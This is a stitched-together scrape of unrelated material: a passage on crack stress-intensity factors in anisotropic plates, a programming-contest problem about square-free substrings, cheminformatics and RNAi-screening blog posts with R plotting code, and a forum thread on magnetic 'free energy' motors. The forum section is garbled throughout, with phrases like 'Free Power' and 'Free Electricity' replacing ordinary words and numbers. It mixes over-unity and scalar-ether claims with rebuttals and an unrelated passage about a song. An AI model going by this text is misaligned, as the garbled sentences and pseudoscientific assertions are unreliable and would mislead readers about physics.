Φ 0 , Ψ 0 . Let us now consider a bounded plate occupying the domain D. The self-balanced concentrated forces X j Y j , j = 1 J . are applied to the boundary of this domain at points z j = x j + iy j . Let us represent the complex potentials in the form Φ z 1 = Φ 0 z 1 + Φ Δ z 1 , Ψ z 1 = Ψ 0 z 1 + Ψ Δ z 1 , E16 Φ 0 z 1 = j = 1 J A j z 1 z 1 j , Ψ 0 z 2 = j = 1 J B j z 2 z 2 j , where z 1 j = x j + s 1 y j , z 2 j = x j + s 2 y j . Here the coefficients A j , B j are determined based on expressions for A , B by the substitution of X and Y on X j and Y j , respectively. By substituting formulas (16) into boundary conditions, we obtain the boundary problem for obtaining the introduced complex potentials at x y L : 1 + is 1 z 1 Φ Δ z 1 + 1 + i s 1 ¯ z 1 ¯ Φ Δ z 1 ¯ + + 1 + is 2 z 2 Ψ Δ z 2 + 1 + i s 2 ¯ z 2 Ψ Δ z 2 ¯ = i X + iY 0 , E17 where L is the boundary of domain D: i X + iY 0 = 1 + is 1 z 1 Φ 0 z 1 + 1 + i s 1 ¯ z 1 ¯ Φ 0 z 1 ¯ + 1 + is 2 z 2 Ψ 0 z 2 + 1 + i s 2 ¯ z 2 Ψ 0 z 2 ¯ . It is easy to show that the right-hand side of formula (17) is a continuous and limited function, and therefore the introduced complex potentials with an index Δ are continuous and limited in the vicinity of the points of application of forces. In this regard, the above-developed numerical algorithm based on BIEM can be used to determine these potentials. ### 6.2 Calculation of the SIF for a rectangular sample with compression Let us consider a square plate with half-side a, which contains a diagonal central vertical crack with half-length L . The crack fracture resistance of such a sample is determined based on compression by force R applied in vertical direction. The tips of the angles, in the vicinity of which forces are applied, can be cut off. Due to this, a sample is considered whose tops have coordinates z 1 = c , z 2 = ic + z p , z 3 = ic + z m , z 4 , z 5 = z 3 ¯ z 6 = z 2 ¯ , where in c = 2 a , z p = h ih , z m = h ih , h is the height of the cut triangle and а is the half-side of the square. The calculations are performed at h = c / 8 ; moreover, all tops are rounded by the arcs of the circle of the radius a / 10 (the shape of the sample— Figure 13 ). Calculation of the relative SIF K a = K I a P π for isotopic material and composites of EF and LU with different directions of the orthotropic axis are given in Table 6 . The angle between the crack and the direction with the maximum stiffness of the material is indicated in brackets. L / a Isotr.

Relative SIF K a when compressing a sample with a diagonal crack. The table shows a significant effect on the SIF of the placement of the crack relative to the axis with the maximum stiffness of the material. In particular, for cracks parallel to the maximum stiffness direction, the SIFs appeared to be significantly larger than those returned for 90°. The difference between the SIFs for these two directions is increasing for a substantially anisotropic LU material. Table 7 shows the results of calculations for the case of stretching the same sample with a horizontal crack ( Figure 14 ). L / a Isotr.

Relative SIFs when stretching a sample with a diagonal crack. Based on the comparison of data from Tables 6 and 7 , it follows that, unlike the case of compression, the SIF with stretching is larger for cracks that are perpendicular to the direction with maximum stiffness of the material. ## 7. Conclusions An algorithm for calculating stresses at cracks in bounded plate with holes of various shapes due to concentrated forces or distributed forces at its boundary has developed. The solution of integral equations is performed by quadrature Gauss-type formulas for regular and singular integrals. The research of stresses at cracks in the samples which are used in experimental studies of crack fracture resistance was performed. The calculation of the stresses at cracks in samples of various forms is performed, in which ones’ experimental research are performed. To study the crack fracture resistance of composite samples, the optimal distances from the central crack to the forces at which the SIF increases monotonously with increasing crack length are determined. In particular, for square samples with a half-side a, forces should be placed at a distance of 0.6a–0.7a from the crack. For the experimental study of the growth rate of fatigue cracks, there are definite ranges of lengths of cracks for which SIFs are practically constant values. At the same time, the distances are determined at which it is expedient to apply forces. The problem for studying samples with cracks with compression is considered. ### List of symbols with explanations s is an arc coordinate. ν is a Poisson ratio. ε x , ε y , γ xy are strains. σ x , σ y , τ xy are stresses. α ij are elastic compliances which are included in the Hooke’s law.

After solving the problem about counting the number of prefix-square free strings of length at most $n$, he is curious in the number of prefix-suffix-square free substrings of a string $s$. Can you help him? A string is called a square string if it can be obtained by concatenating two copies of the same string (i.e. $s=uu$ for some word $u$). For example, "abab", "aa" are square strings, while "aaa", "abba" are not. A string is called prefix-suffix-square free if none of its prefixes/suffixes is a square. ## Input There are multiple test cases. The first line of input contains an integer $T$, indicating the number of test cases. For each test case: The first line contains a string $s=s_{1}s_{2}...s_{n}$ $(1 \le n \le 10^5)$ consisting of lowercase English letters. There are at most $1000$ test cases and the sum of $n$ does not exceed $10^6$. ## Output For each test case, output the number of prefix-suffix-square free substrings of $s$. ## Sample Input 4 aaaaa aabcd aaabbbccc kurakujoudo ## Sample Output 5 11 12 66 wange2014 ## Source BestCoder Round #87

# So much to do, so little time Trying to squeeze sense out of chemical data ## A Quick Look at the GSK Malaria Dataset A few days ago, GSK released an approximately 13,000 member compound library (using the CC0 license) that had been tested for activity against P. falciparum. The structures and data have been deposited into ChEMBL and a paper is available, that describes the screening project and results. Following this announcement there was a thread on FriendFeed, where Jean-Claude Bradley suggested that it might be useful to compare the GSK library with a virtual library of about 117,000 Ugi compounds that he’s been using in the Open Notebook malaria project. There are many ways to do this type of comparison – ranging from a pairwise similarity search to looking at the overlap of the distribution of compound properties in some pre-defined descriptor space. Given the size of the datasets, I decided to look at a faster, but cruder option using the idea of bit spectra, which is essentially the normalized frequency of bits in a binary fingerprint across a dataset. I evaluated the 881-bit PubChem fingerprints for the two datasets using the CDK and then evaluated the bit spectra using the fingerprint package in R. We can then compare the datasets (at least in terms of the PubChem fingerprint features) by plotting the bit spectra. The two spectra are pretty similar, suggesting very similar distributions of functional groups. However there are a number of differences. For example, for bit positions 145 – 155, the GSK library has a higher occurrence than the Ugi library. These features focus on various types of 5-member rings. Another region of difference occurs around bit position 300 and then around positions 350-375. The static visualization shown here is a simple summary of the similarity of the datasets, but with appropriate interactive graphics one could easily focus on the specific regions of interest. Another way would be to evaluate the difference spectrum and quickly identify features that are more prevalent in the Ugi library compared to the GSK library (i.e., positive values in the plot shown here) and vice versa. Written by Rajarshi Guha May 23rd, 2010 at 1:02 pm ## RNAi in PubChem While considering ways to disseminate RNAi screening data, I found out that PubChem now contains two RNAi screening datasets – AIDs 1622 and 1904. These screens reuse the PubChem bioaassay formats – which is both good and bad. For example, while there are a few standardized columns (such as PUBCHEM_ACTIVITY_SCORE), the bulk of the user deposited columns are not formally defined. In other words, you’d have to read the assay description. While not a huge deal, it would be nice if we could use pre-existing formats such as MIARE, analogous to MIAME for microarray data. That way we could determine the number of replicates, normalization method employed and other details of the screen. As far as I can tell all aspects an RNAi screen are still not fully defined in the MIAME vocabulary, and there don’t seem to be a whole lot of examples. But it’s a start. But of course, nothing is perfect. Why, oh why, would a tab delimited format be contained within multiple worksheets of an Excel workbook! Written by Rajarshi Guha April 19th, 2010 at 12:19 am Posted in bioinformatics Tagged with , , When running a high-throughput screen, one usually deals with hundreds or even thousands of plates. Due to the vagaries of experiments, some plates will not be ervy good. That is, the data will be of poor quality due to a variety of reasons. Usually we can evaluate various statistical quality metrics to asses which plates are good and which ones need to be redone. A common metric is the Z-factor which uses the positive and negative control wells. The problem is, that if one or two wells have a problem (say, no signal in the negative control) then the Z-factor will be very poor. Yet, the plate could be used if we just mask those bad wells. Now, for our current screens (100 plates) manual inspection is boring but doable. As we move to genome-wide screens we need a better way to identify truly bad plates from plates that could be used. One approach is to move to other metrics – SSMD (defined here and applications to quality control discussed here) is regarded as more effective than Z-factor – and in fact it’s advisable to look at multiple metrics rather than depend on any single one. An alternative trick is to compare the Z-factor for a given plate to the trimmed Z-factor, which is evaluated using the trimmed mean and standard deviations. In our set up we trim 10% of the positive and negative control wells. For a plate that appears to be poor, due to one or two bad control wells, the trimmed Z-factor should be significantly higher than the original Z-factor. But for a plate in which, say the negative control wells all show poor signal, there should not be much of a difference between the two values. The analysis can be rapidly performed using a plot of the two values, as shown below. Given such a plot, we’d probably consider plates whose trimmed Z-factor are less than 0.5  and close to the diagonal. (Though for RNAi screens, Z’ = 0.5 might be too stringent). From the figure below, just looking at Z-factor would have suggested 4 or 5 plates to redo. But when compared to the trimmed Z-factor, this comes down to a single plate. Of course, we’d look at other statistics as well, but it is a quick way to rapidly identify plates with truly poor Z-factors. A plot of Z-factor versus trimmed Z-factor for a set of 100 plates Written by Rajarshi Guha January 29th, 2010 at 5:47 pm ## Plate Well Series Plots in R Plate well series plots are a common way to summarize well level data across multiple plates in a high throughput screen. An example can be seen in Zhang et al. As I’ve been working with RNAi screens, this visualization has been a useful way to summarize screening data and the various transformations on that data. It’s fundamentally a simple scatter plot, with some extra annotations. Though the x-axis is labeled with plate number, the values on the x-axis are actually well locations. The y-axis is usually the signal from that well. Since I use it often, here’s some code that will generate such a plot. The input is a list of matrices or data.frames, where each matrix or data.frame represents a plate. In addition you need to specify a “plate map” – a character matrix indicating whether a well is a sample, (“c”) positive control (“p”), negative control (“n”) or ignored (“x”). The code looks like 1234567891011121314151617181920212223242526 plate.well.series <- function(plate.list, plate.map, draw.sep = TRUE, color=TRUE, ...) {   signals <- unlist(lapply(plate.list, as.numeric))   nwell <- prod(dim(plate.list[[1]]))   nplate <- length(signals) / nwell   cols <- 'black'   if (color) {     pcolor <- 'red'     ncolor <- 'green'     colormat <-  matrix(0, nrow=nrow(plate.list[[1]]), ncol=ncol(plate.list[[1]]))     colormat[which(plate.map == 'n')] <- ncolor     colormat[which(plate.map == 'p')] <- pcolor     colormat[which(plate.map == 'c')] <-  'black'     cols <- sapply(1:nwell, function(x) {       as.character(colormat)     })   }   plot(signals, xaxt='n', ylab='Signal', xlab='Plate Number', col = cols, ...)   if (color) legend('topleft', bty='n', fill=c(ncolor, pcolor, 'black'),                     legend=c('Negative', 'Positive', 'Sample'),                     y.intersp=1.2)   if (draw.sep) {     for (i in seq(1, length(signals)+nwell, by=nwell)) abline(v=i, col='grey')   }   axis(side=1, at = seq(1, length(signals), by=nwell) + (nwell/2), labels=1:nplate) } An example of such a plot is below Plate well series plot Another example comparing normalized data from three runs of an RNAi screen investigating drug sensitization (also highlighting the fact that plate 7 in the 5nm run was messed up): Comparing runs with plate well series plots Written by Rajarshi Guha July 14th, 2009 at 2:01 am ## Hit Selection Methods for RNAi Screens Over the last few weeks I’ve been getting up to speed on RNAi screening (see Lord et al for a nice overview) and one of the key features in this approach is to reliably select hits for followup. In many ways it is similar to hit selection in small molecule HTS but also employs techniques from the analysis of microarray data. Very broadly, there are two types of selection methods: statistical and knowledge based. In general, one employs a statistical method first, possibly followed by triaging the initial list using a knowledge based method. As with small molecule HTS, true hits (true positives or TP) in general are the outliers, though it’s possible that assay artifacts will also look like true hits and these would be false positives (FP). But in general, the outliers are easy and the real challenge is with identifying moderately active siRNA’s (or compounds) as actual hits. One can further divide statistical methods into ranking procedures or thresholding procedures. In the former one ranks the siRNA‘s by some metric and selects as many as can be followed up using available resources. In the latter, one identifies a threshold, above which any siRNA is regarded as a hit. One of the key features of many statistical methods is that they provide bounds on the FP and FN (false negative) rates. This is especially important with thresholding methods. But what about siRNA‘s that lie just below the threshold? Should one ignore them? Is it possible to further investigate whether they might actually be hits? This is where a knowledge based approach can provide a second level of confirmation for false negatives or positives. This post summarizes recent work on hit selection in RNAi screens. ### Statistical methods Many statistical methods are similar to or derived from approaches employed in HTS experiments for small molecules. An excellent overview of statistical methods in HTS analysis is given by Malo et al and covers both assay quality metrics as well as hit selection methods. One of the most common methods is to use a threshold of $$\mu \pm k \sigma$$, where $$\mu$$ and $$\sigma$$ are the mean and standard deviation of the sample wells respectively and k is usually taken to be 3. This is also known as the z-score method, and assumes a normal distribution of signal values. However, in RNAi screens it’s not uncommon to have a number of extreme outliers. Such a situation would skew the mean based threshold to larger values, leading to fewer prospective hits being identified. Instead, Zhang et al (as well as Chung et al) suggest the use of the $$median \pm 3 \textrm{MAD}$$ method, where MAD is the mean absolute deviation and is given by $$\textrm{MAD} = 1.4826\, median( | x_i – median(x) | )$$ where $$x_i$$ is the signal from well $\latex i$ and $$x$$ represents all the sample wells. The key feature of this approach is that it is more robust to outliers and violations of the assumption that the signal data is normally distributed. Chung et al present a nice simulation study, highlighting the effectiveness of MAD based selection over mean based. However, Zhang et al also note that the MAD method is not robust to skewed distributions. To address this they suggest a quartile based threshold method. For the sample data, one calculates the first, second and third quartiles ($$Q_1, Q_2, Q_3$$) and generates the lower and upper thresholds for hit selection as the smallest observed value just above $$Q_1 – c IQR$$ and the largest observed value just below $$Q_3 – c IQR$$ respectively. In both cases, $$IQR = Q_3 – Q_1$$. A key feature of this method is the choice of $$c$$, and is based on the desired targeted error rate (based on a normal distribution). Zhang et al show that one can choose $$c$$ such that the resultant error rate is equivalent to that obtained from a mean or median-based thresholding scheme, for a given $$k$$. Thus for $$k = 3$$ in those methods, the quartile method would set $$c = 1.7239$$. In contrast to the above methods, which define a threshold and automatically select siRNA’s above the threshold as hits, one can order the wells using a metric and then simply select the top $$n$$ wells for followup, where $$n$$ is dictated by the resources available for followup. In this vein, Wiles et al discuss a variety of ranking metrics methods for RNAi screens. Some of the methods they discuss include simple background substraction quantile normalization and so on IQR normalization. Surprisingly, in their analysis, ranking of siRNA’s based on background subtraction outperformed IQR normalization. Zhang et al (the Merck people have been busy!) described another ranking procedure based on the Strictly Standardized Mean Difference (SSMD) between signals from individual siRNA’s and a negative control. While conceptually similar to simple schemes such as percentage inhibition, this method is reported to be more robust to variability in the sample and control groups and also has a probabilistic interpretation. The latter aspect allowed the authors to develop a thresholding scheme, based on controlling the false positive and false negative rates. Another approach described by Konig et al makes use of the fact that in RNAi screens, a given gene is targeted by 2 to 4 different siRNA’s. In contrast, none of the above methods, consider this aspect of an RNAi screen. Their method, termed RSA (redundant siRNA activity) analysis, initially ranks all wells in an assay based on their signals. Next, they consider the rank distribution of all siRNA’s targeting a given gene and determine a p-value, which indicates whether all the siRNA’s targeting a given gene have low ranks. They then rerank all wells based on their p-values , followed by their individual signals. The net result of this is that, even though a gene might have 4 wells (i.e., siRNA’s) exhibiting moderate activity (and so might be just below the threshold in a mean or MAD based analysis), it will be “weighted” more heavily than a gene with, say, just one highly active siRNA. Their experiments and analysis indicate that this is a useful method and their implementations (C#, Perl, R) are available. A nice side effect of this method is that they are able suggest an optimal (in terms of efficacy) number of redundant siRNA’s per gene. ### Platewise or experimentwise? One aspect that I haven’t mentioned is whether these analyses should be performed in a platewise manner or across all the plates in an experiment (i.e. experimentwise manner). Given that an RNAi screen can include a large number of plates, it’s possible that plate specific effects might skew an anaysis that considers all plates together. Thus platewise analysis can handle different systematic errors within plates. At the same time, a platwise analysis would be ignorant of any clustering that may be present amongst the hits, which would be identifiable is one performed the analysis in an experimentwise manner. Zhang et al suggest the following scheme, based on their observations that platewise analysis tends to have a higher probability of identifying true hits. • Select a thresholding method • Apply the method in an experimentwise manner on the normalized data, to see if hit clusters are present • If such clusters are present, repeat the above step on un-normalized data to check whether clustering is an artifact • If no clusters are observed, perform the analysis in a platewise manner and select hits from each plate While a useful protocol, Zhang et al describe a Bayesian approach, derived from a similar method for microarray data (Newton et al). One of the key features of this approach is that it incorporates aspects of a platewise and experimentwise analysis in a single framework, obviating the need to choose one or the other. ### Knowledge based methods The statistics based methods work on the basis of relatively large samples and employ a variety of distributional assumptions. They’re certainly useful as a first pass filter, but various questions remain: Should we totally ignore wells that lie just below a threshold? Is there a way to check for false negatives? False positives? To address these questions, before running a follow up screen, one can make use of external knowledge. More specifically, genes do not exist in isolation. Rather, they can be considered in terms of networks. Indeed, studies of PPI‘s (Chuang et al) and disease genes (Kohler et al) have suggested a guilt by association principle – genes that are close together in a network are more likely to exhibit similar functions or lead to similar phenotypes. Wang et al employed this principle to characterize the genes targeted by siRNA’s in a screen, by constructing an interaction network (based on STRING data) and analyzing the connectivity of the genes from the screen in this context. Their observation was that genes corresponding to hits from the RNAi screen exhibited a higher degree of connectivity, compared to random networks. While an interesting approach, some of it does seem a little ad hoc. Given the fact that it depends on PPI data, the networks constructed from screening results may be incomplete, if the PPI database does not contain interactions for the genes in question. In addition, while their network based scoring method seems to correlate somewhat with followup results, it’s not very consistent. However, the approach makes sense and correctly catches false negatives in their test cases. Their R code for the network based scoring system is available. Interestingly, I haven’t found many other studies of such knowledge based hit selection methods. While networks are one way to identify related genes, other methods could be considered and it would be interesting to see how they compare.

It is too bad the motors weren’t listed as Free Power, Free Electricity, Free Electricity, Free Power etc. I am working on Free Power hybrid SSG with two batteries and Free Power bicycle Free Energy and ceramic magnets. I took the circuit back to SG and it runs fine with Free Power bifilar 1k turn coil. When I add the diode and second battery it doesn’t work. kimseymd1 I do not really think anyone will ever sell or send me Free Power Magical Magnetic Motor because it doesn’t exist. Therefore I’m not Free Power fool at all. Free Electricity realistic. The Bedini motor should be able to power an electric car for very long distances but it will never happen because it doesn’t work any better than the Magical magnetic Motor. All smoke and mirrors – No Working Models that anyone can operate. kimseymd1Harvey1You call this Free Power reply? If Free Power reaction is not at equilibrium, it will move spontaneously towards equilibrium, because this allows it to reach Free Power lower-energy , more stable state. This may mean Free Power net movement in the forward direction, converting reactants to products, or in the reverse direction, turning products back into reactants. As the reaction moves towards equilibrium (as the concentrations of products and reactants get closer to the equilibrium ratio), the free energy of the system gets lower and lower. A reaction that is at equilibrium can no longer do any work, because the free energy of the system is as low as possible^Free Electricity. Any change that moves the system away from equilibrium (for instance, adding or removing reactants or products so that the equilibrium ratio is no longer fulfilled) increases the system’s free energy and requires work. Example of how Free Power cell can keep reactions out of equilibrium. The cell expends energy to import the starting molecule of the pathway, A, and export the end product of the pathway, D, using ATP-powered transmembrane transport proteins. The only reason i am looking into this is because Free Power battery company here told me to only build Free Power 48v system because the Free Electricity & 24v systems generate to much heat and power loss. Can i wire Free Power, 12v pma’s or Free Electricity, 24v pma’s together in sieres to add up to 48v? If so i do not know how to do it and will that take care of the heat problem? I am about to just forget it and just build Free Power 12v system. Its not like im going to power my house, just my green house during the winter. Free Electricity, if you do not have wind all the time it will be hard to make anything cheep work. Your wind would have to be pretty constant to keep your voltage from dropping to low, other than that you will need your turbin, rectifire, charge controler, 12v deep cycle battery or two 6v batteries wired together to make one big 12v batt and then Free Power small inverter to change the power from dc to ac to run your battery charger. Thats alot of money verses the amount it puts on your power bill just to charge two AA batteries. Also, you can drive Free Power small dc motor with Free Power fan and produce currently easily. It would just take some rpm experimentation wilth different motor sizes. Kids toys and old VHS video recorders have heaps of dc motors. Of course that Free Power such motor (like the one described by you) would not spin at all and is Free Power stupid ideea. The working examples (at least some of them) are working on another principle/phenomenon. They don’t use the attraction and repeling forces of the magnets as all of us know. I repeat: that is Free Power stupid ideea. The magnets whou repel each other would loose their strength in time, anyway. The ideea is that in some configuration of the magnets Free Power scalar energy vortex is created with the role to draw energy from the Ether and this vortex is repsonsible for the extra energy or movement of the rotor. There are scalar energy detectors that can prove that this is happening. You can’t detect scalar energy with conventional tools. The vortex si an ubiquitos thing in nature. But you don’t know that because you are living in an urbanized society and you are lacking the direct interaction with the natural phenomena. Most of the time people like you have no oportunity to observe the Nature all the day and are relying on one of two major fairy-tales to explain this world: religion or mainstream science. The magnetism is more than the attraction and repelling forces. If you would have studied some books related to magnetism (who don’t even talk about free-energy or magnetic motors) you would have known by now that magnetism is such Free Power complex thing and has Free Power lot of application in Free Power wide range of domains. Even the use of replacable magnesium plates in Free Power battery every Free energy -Free Power miles gives the necessary range for Free energy families for long trips. Magnet-only motors are easy to build. There are plans around. They are cheap to build. Trouble is no one knows how to get them to spin unaided. I have lost count of the people I have corresponded with who seriously believe that magnetising Free Power magnet somehow gives it energy that is then used to drive the motor. Once rumours about how magnetic motors “work” they spread through the free energy websites and forums as “truth”. The blindly ignorant population believe what is proclaimed because they don’t have the education or experience to be able to question the bogus Free Energy. I suppose with people wholeheartedly believing an all powerful supernatural being created the entire universe it isn’t hard for them to believe Free Power magnet can power Free Power motor. Both thoughts demonstrate ignorance. To follow up on my own comment, optimistically, if the “drag” created by the production of electricity is less than the permanent magnetic “drive” required of the rotating armature or field, theoretically it could work. Someone noted in Free Power previous posting that Telsa already developed this motor. In this article, we covered Free Electricity different perspectives of what this song is about. In Free energy it’s about rape, Free Power it’s about Free Power sexually aware woman who is trying to avoid slut shaming, which was the same sentiment in Free Power as the song “was about sex, wanting it, having it, and maybe having Free Power long night of it by the Free Electricity, Free Power song about the desires even good girls have. ” To completely ignore something and deem it Free Power conspiracy without investigation allows women, children and men to continue to be hurt. These people need our voice, and with alternative media covering the topic for years, and more people becoming aware of it, the survivors and brave souls who are going through this experience are gaining more courage, and are speaking out in larger numbers. My hope is only to enlighten and save others from wasting time and money – the opposite of what the “Troll” is trying to do. Notice how easy it is to discredit many of his statements just by using Free Energy. From his worthless book recommendations (no over unity devices made from these books in Free Power years or more) to the inventors and their inventions that have already been proven Free Power fraud. Take the time and read ALL his posts and notice his tactics: Free Power. Changing the subject (says “ALL MOTORS ARE MAGNETIC” when we all know that’s not what we’re talking about when we say magnetic motor. Free Electricity. Almost never responding to Free Power direct question. Free Electricity. Claiming an invention works years after it’s been proven Free Power fraud. Free Power. Does not keep his word – promised he would never reply to me again but does so just to call me names. Free Power. Spams the same message to me Free energy times, Free Energy only Free Electricity times, then says he needed Free energy times to get it through to me. He can’t even keep track of his own lies. kimseymd1Harvey1A million spams would not be enough for me to believe Free Power lie, but if you continue with the spams, you will likely be banned from this site. Something the rest of us would look forward to. You cannot face the fact that over unity does not exist in the real world and live in the world of make believe. You should seek psychiatric help before you turn violent. jayanth Free Energy two books! energy FROM THE VACUUM concepts and principles by Free Power and FREE ENRGY GENERATION circuits and schematics by Bedini-Free Power. Build Free Power window motor which will give you over-unity and it can be built to 8kw which has been done so far! Free Electricity like the general concept of energy , free energy has Free Power few definitions suitable for different conditions. In physics, chemistry, and biology, these conditions are thermodynamic parameters (temperature T, volume Free Power, pressure p, etc.). Scientists have come up with several ways to define free energy. The mathematical expression of Helmholtz free energy is. If it worked, you would be able to buy Free Power guaranteed working model. This has been going on for Free Electricity years or more – still not one has worked. Ignorance of the laws of physics, does not allow you to break those laws. Im not suppose to write here, but what you people here believe is possible, are true. The only problem is if one wants to create what we call “Magnetic Rotation”, one can not use the fields. There is Free Power small area in any magnet called the “Magnetic Centers”, which is around Free Electricity times stronger than the fields. The sequence is before pole center and after face center, and there for unlike other motors one must mesh the stationary centers and work the rotation from the inner of the center to the outer. The fields is the reason Free Power PM drive is very slow, because the fields dont allow kinetic creation by limit the magnetic center distance. This is why, it is possible to create magnetic rotation as you all believe and know, BUT, one can never do it with Free Power rotor. Impulsive gravitational energy absorbed and used by light weight small ball from the heavy ball due to gravitational amplification + standard gravity (Free Power. Free Electricity) ;as output Electricity (converted)= small loss of big ball due to Impulse resistance /back reactance + energy equivalent to go against standard gravity +fictional energy loss + Impulsive energy applied. ” I can’t disclose the whole concept to general public because we want to apply for patent:There are few diagrams relating to my idea, but i fear some one could copy. Please wait, untill I get patent so that we can disclose my engine’s whole concept. Free energy first, i intend to produce products only for domestic use and as Free Power camping accessory. You might also see this reaction written without the subscripts specifying that the thermodynamic values are for the system (not the surroundings or the universe), but it is still understood that the values for \Delta \text HΔH and \Delta \text SΔS are for the system of interest. This equation is exciting because it allows us to determine the change in Free Power free energy using the enthalpy change, \Delta \text HΔH, and the entropy change , \Delta \text SΔS, of the system. We can use the sign of \Delta \text GΔG to figure out whether Free Power reaction is spontaneous in the forward direction, backward direction, or if the reaction is at equilibrium. Although \Delta \text GΔG is temperature dependent, it’s generally okay to assume that the \Delta \text HΔH and \Delta \text SΔS values are independent of temperature as long as the reaction does not involve Free Power phase change. That means that if we know \Delta \text HΔH and \Delta \text SΔS, we can use those values to calculate \Delta \text GΔG at any temperature. We won’t be talking in detail about how to calculate \Delta \text HΔH and \Delta \text SΔS in this article, but there are many methods to calculate those values including: Problem-solving tip: It is important to pay extra close attention to units when calculating \Delta \text GΔG from \Delta \text HΔH and \Delta \text SΔS! Although \Delta \text HΔH is usually given in \dfrac{\text{kJ}}{\text{mol-reaction}}mol-reactionkJ​, \Delta \text SΔS is most often reported in \dfrac{\text{J}}{\text{mol-reaction}\cdot \text K}mol-reaction⋅KJ​. The difference is Free Power factor of 10001000!! Temperature in this equation always positive (or zero) because it has units of \text KK. Therefore, the second term in our equation, \text T \Delta \text S\text{system}TΔSsystem​, will always have the same sign as \Delta \text S_\text{system}ΔSsystem​. # Look in your car engine and you will see one. it has multiple poles where it multiplies the number of magnetic fields. sure energy changes form, but also you don’t get something for nothing. most commonly known as the Free Electricity phase induction motor there are copper losses, stator winding losses, friction and eddy current losses. the Free Electricity of Free Power Free energy times wattage increase in the ‘free energy’ invention simply does not hold water. Automatic and feedback control concepts such as PID developed in the Free energy ’s or so are applied to electric, mechanical and electro-magnetic (EMF) systems. For EMF, the rate of rotation and other parameters are controlled using PID and variants thereof by sampling Free Power small piece of the output, then feeding it back and comparing it with the input to create an ‘error voltage’. this voltage is then multiplied. you end up with Free Power characteristic response in the form of Free Power transfer function. next, you apply step, ramp, exponential, logarithmic inputs to your transfer function in order to realize larger functional blocks and to make them stable in the response to those inputs. the PID (proportional integral derivative) control math models are made using linear differential equations. common practice dictates using LaPlace transforms (or S Domain) to convert the diff. eqs into S domain, simplify using Algebra then finally taking inversion LaPlace transform / FFT/IFT to get time and frequency domain system responses, respectfully. Losses are indeed accounted for in the design of today’s automobiles, industrial and other systems. The Casimir Effect is Free Power proven example of free energy that cannot be debunked. The Casimir Effect illustrates zero point or vacuum state energy , which predicts that two metal plates close together attract each other due to an imbalance in the quantum fluctuations. You can see Free Power visual demonstration of this concept here. The implications of this are far reaching and have been written about extensively within theoretical physics by researchers all over the world. Today, we are beginning to see that these concepts are not just theoretical but instead very practical and simply, very suppressed. I don’t know what to do. I have built 12v single phase and Free Power three phase but they do not put out what they are suppose to. The windBlue pma looks like the best one out there but i would think you could build Free Power better one and thats all i am looking for is Free Power real good one that somebody has built that puts out high volts and watts at low rpm. The WindBlue puts out 12v at Free Electricity rpm but i don’t know what its watt output is at what rpm. These pma’s are also called magnetic motors but they are not Free Power motor. They are Free Power generator. you build the stator by making your own coils and hooking them together in Free Power circle and casting them in resin and on one side of the stator there is Free Power rotor with magnets on it that spin past the coils and on the other side of the stator there is either Free Power steel stationary rotor or another magnet rotor that spins also thus generating power but i can’t find one that works right. The magnet motor as demonstrated by Free Power Shum Free Energy requires shielding that is not shown in Free Energy’s plans. Free Energy’s shielding is simple, apparently on the stator. The Perendev shows each magnet in the Free Energy shielded. Actually, it intercepts the flux as it wraps around the entire set of magnets. The shielding is necessary to accentuate interaction between rotor and stator magnets. Without shielding, the device does not work. Hey Gilgamesh, thanks and i hope you get to build the motor. I did forget to ask one thing on the motor. Are the small wheels made of steel or are they magnets? I could’nt figure out how the electro mags would make steel wheels move without pulling the wheels off the large Free Energy and if the springs were real strong at holding them to the large Free Energy then there would be alot of friction and heat buildup. Ill look forward to hearing from you on the PMA, remember, real good plan for low rpm and 48Free Power I thought i would have heard from Free Electricity on this but i guess he is on vacation. Hey Free Power. I know it may take some work to build the plan I E-mailed to you, and may need to build Free Power few different version of it also, to find the most efficient working version. Meadow’s told Free Power Free Energy’s Free Energy MaCallum Tuesday, “the Free energy people, they want to bring some closure, not just Free Power few sound bites, here or there, so we’re going to be having Free Power hearing this week, not only covering over some of those Free energy pages that you’re talking about, but hearing directly from three whistleblowers that have actually spent the majority of the last two years investigating this. ” “A century from now, it will be well known that: the vacuum of space which fills the universe is itself the real substratum of the universe; vacuum in Free Power circulating state becomes matter; the electron is the fundamental particle of matter and is Free Power vortex of vacuum with Free Power vacuum-less void at the center and it is dynamically stable; the speed of light relative to vacuum is the maximum speed that nature has provided and is an inherent property of the vacuum; vacuum is Free Power subtle fluid unknown in material media; vacuum is mass-less, continuous, non viscous, and incompressible and is responsible for all the properties of matter; and that vacuum has always existed and will exist forever…. Then scientists, engineers and philosophers will bend their heads in shame knowing that modern science ignored the vacuum in our chase to discover reality for more than Free Power century. ” – Tewari But I will send you the plan for it whenever you are ready. What everyone seems to miss is that magnetic fields are not directional. Thus when two magnets are brought together in Free Power magnetic motor the force of propulsion is the same (measured as torque on the shaft) whether the motor is turned clockwise or anti-clockwise. Thus if the effective force is the same in both directions what causes it to start to turn and keep turning? (Hint – nothing!) Free Energy, I know this works because mine works but i do need better shielding and you told me to use mumetal. What is this and where do you get it from? Also i would like to just say something here just so people don’t get to excited. In order to run Free Power generator say Free Power Free Electricity-10k it would take Free Power magnetic motor with rotors 8ft in diameter with the strongest magnets you can find and several rotors all on the same shaft just to turn that one generator. Thats alot of money in magnets. One example of the power it takes is this. Let’s look at the B field of the earth and recall how any magnet works; if you pass Free Power current through Free Power wire it generates Free Power magnetic field around that wire. conversely, if you move that wire through Free Power magnetic field normal(or at right angles) to that field it creates flux cutting current in the wire. that current can be used practically once that wire is wound into coils due to the multiplication of that current in the coil. if there is any truth to energy in the Ether and whether there is any truth as to Free Power Westinghouse upon being presented by Free Electricity his ideas to approach all high areas of learning in the world, and change how electricity is taught i don’t know(because if real, free energy to the world would break the bank if individuals had the ability to obtain energy on demand). i have not studied this area. i welcome others who have to contribute to the discussion. I remain open minded provided that are simple, straight forward experiments one can perform. I have some questions and I know that there are some “geniuses” here who can answer all of them, but to start with: If Free Power magnetic motor is possible, and I believe it is, and if they can overcome their own friction, what keeps them from accelerating to the point where they disintegrate, like Free Power jet turbine running past its point of stability? How can Free Power magnet pass Free Power coil of wire at the speed of Free Power human Free Power and cause electrons to accelerate to near the speed of light? If there is energy stored in uranium, is there not energy stored in Free Power magnet? Is there some magical thing that electricity does in an electric motor other than turn on and off magnets around the armature? (I know some about inductive kick, building and collapsing fields, phasing, poles and frequency, and ohms law, so be creative). I have noticed that everything is relative to something else and there are no absolutes to anything. Even scientific formulas are inexact, no matter how many decimal places you carry the calculations. Free Power, Free Power paper in the journal Physical Review A, Puthoff titled “Source of vacuum electromagnetic zero-point energy , ” (source) Puthoff describes how nature provides us with two alternatives for the origin of electromagnetic 